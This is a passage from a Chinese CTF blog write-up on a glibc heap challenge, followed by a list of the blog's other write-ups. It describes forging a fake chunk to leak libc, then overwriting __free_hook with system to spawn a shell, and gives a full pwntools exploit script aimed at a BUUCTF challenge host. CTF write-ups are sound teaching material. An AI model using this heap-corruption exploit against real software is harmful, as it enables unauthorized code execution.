为了绕开 fastbin ，我们考虑使用 size 为 0x90 的 chunk ，同时把对应 tcache 的 counts 设为 7

但是程序只允许 free 掉 0x30 的 chunk ，所以我们需要伪造一个 fake chunk 去绕过安全检测

我们需要伪造的有：

chunk_size = 0x91
chunk_prev_size = 0x30
next_chunk_prev_size = 0x90
next_chunk_prev_inuse_bit = 1
next_chunk_size 合法，且保险起见，不要让它与 top_chunk 重叠

利用 AAW 伪造完成后， delete 掉 fake_chunk 即可使之进入 unsorted_bin ，再利用 AAR 即可泄露 libc 基址

最后利用 AAW 劫持 __free_hook 为 system 并往一个 head_chunk 中写入 /bin/sh\x00 ，再 delete 掉这个 head_chunk 即可提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./pwn')
else:
	p = remote('node5.buuoj.cn', 28814)

def padd(idx, size, content):
	p.recvuntil(b'>>\n')
	p.sendline(b'1')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())
	p.recvuntil(b'size: ')
	p.sendline(str(size).encode())
	p.recvuntil(b'note: ')
	p.sendline(content)

def pdelete(idx):
	p.recvuntil(b'>>\n')
	p.sendline(b'2')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())

def pshow(idx):
	p.recvuntil(b'>>\n')
	p.sendline(b'3')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())

def pedit(idx, content):
	p.recvuntil(b'>>\n')
	p.sendline(b'4')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())
	p.recvuntil(b'content: ')
	p.send(content)
	
def pwrite(addr, val):
	payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
	pedit(2, payload)
	pedit(0, val)
	
def pread(addr):
	payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
	pedit(2, payload)
	pshow(0)
	
def attack():
	padd(3, 0x20, b'')
	padd(0, 0x20, b'')
	padd(1, 0x20, b'')
	pdelete(3)
	pdelete(0)
	pdelete(1)
	padd(2, 0x20, b'') 
	pshow(2)
	p.recvuntil(b'\n')
	heap3_addr = u64(p.recv(6).ljust(8, b'\x00'))
	log.info(f'heap3_addr = {hex(heap3_addr)}')
	pwrite(heap3_addr // 0x1000 * 0x1000 + 0x10 + 0x2 * 7, p64(7))
	padd(4, 0x28, b'A' * 0x20 + p64(0x30))
	padd(5, 0x70, b'')
	pwrite(heap3_addr + 0x28 + 6 * 0x30, p64(0x91))
	pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90, p64(0x21))
	pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90 - 8, p64(0x90))
	pdelete(5)
	pread(heap3_addr + 0x28 + 6 * 0x30 + 0x8)
	p.recvuntil(b'\n')
	bins0_addr = u64(p.recv(6).ljust(8, b'\x00'))
	log.info(f'bins0_addr = {hex(bins0_addr)}')
	libc_addr = bins0_addr - 0x1cabe0
	log.info(f'libc_addr = {hex(libc_addr)}')
	__free_hook_addr = libc_addr + 0x1cce48
	log.info(f'__free_hook_addr = {hex(__free_hook_addr)}')
	system_addr = libc_addr + 0x30290
	log.info(f'system_addr = {hex(system_addr)}')
	pwrite(heap3_addr, b'/bin/sh\x00')
	pwrite(__free_hook_addr, p64(system_addr))
	pdelete(4)
	p.interactive()

attack()

UAF on RatherHard の Blog

NSSCTF-CISCN-2022-house_of_cat 题解

题目

checksec

seccomp

IDA

main

handle_command

parse_command

execute_command

menu

add

edit

show

delete

攻击思路

exp

NSSCTF-CISCN-2021-silverwolf 题解

题目

checksec

IDA

main

initbuf

allocate

edit

show

delete

攻击思路

setcontext

exp

HGAME2026-pwn WriteUp

Heap1sEz

checksec

malloc.c

IDA

main

menu

add

delete

edit

show

gift

bss

攻击思路

exp

adrift

checksec

IDA

main

init_canary

delete

show

bss

攻击思路

exp

BUUCTF-NewStarCTF-2023-ezheap 题解

题目

checksec

IDA

main

menu

add

delete

show

edit

read_idx

read_size

攻击思路

exp